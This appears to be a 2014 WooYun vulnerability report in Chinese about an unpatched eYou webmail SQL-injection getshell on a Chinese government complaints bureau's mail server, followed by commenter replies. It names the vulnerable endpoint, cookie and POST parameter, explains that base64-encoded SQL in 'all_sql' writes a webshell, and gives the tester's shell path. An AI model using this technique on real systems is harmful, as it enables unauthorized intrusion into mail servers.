国家信访局企业邮箱getshell

http://**.**.**.**

之前eyou的漏洞，信访局还没有补，非刷洞

http://**.**.**.**/php/bill/print_addfeelog.php
 cookies： cookie=1;
 POST：
 all_sql=1

all_sql参数提交base64加密的SQL语句，直接写shell

已经有前人来过了，但是我搜索关键字没有在乌云提交过，不算重复提交吧

我的测试Webshell地址：

http://**.**.**.**/php/bill/script/index1.php

国家信访局的邮箱，影响应该还挺大的

联系eyou

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-11-21 16:11

厂商回复：

最新状态：

暂无

1. 2014-11-18 13:19 | Observer ( 实习白帽子 | Rank:35 漏洞数:8 )

   1

   感觉像是umail

   1# 回复此人

2. 2014-11-18 16:54 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)

   1

   佩服

   2# 回复此人

3. 2014-12-23 14:14 | Arthur ( 实习白帽子 | Rank:85 漏洞数:32 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)

   1

   @Observer 不是Umail，完全不一样。

   3# 回复此人

4. 2014-12-23 16:31 | covertops ( 普通白帽子 | Rank:112 漏洞数:21 | wooyun)

   1

   @Arthur WooYun: 亿邮邮件系统SQL导致批量GetShell（无需登录） 用的这个，只不过信访局没补

   4# 回复此人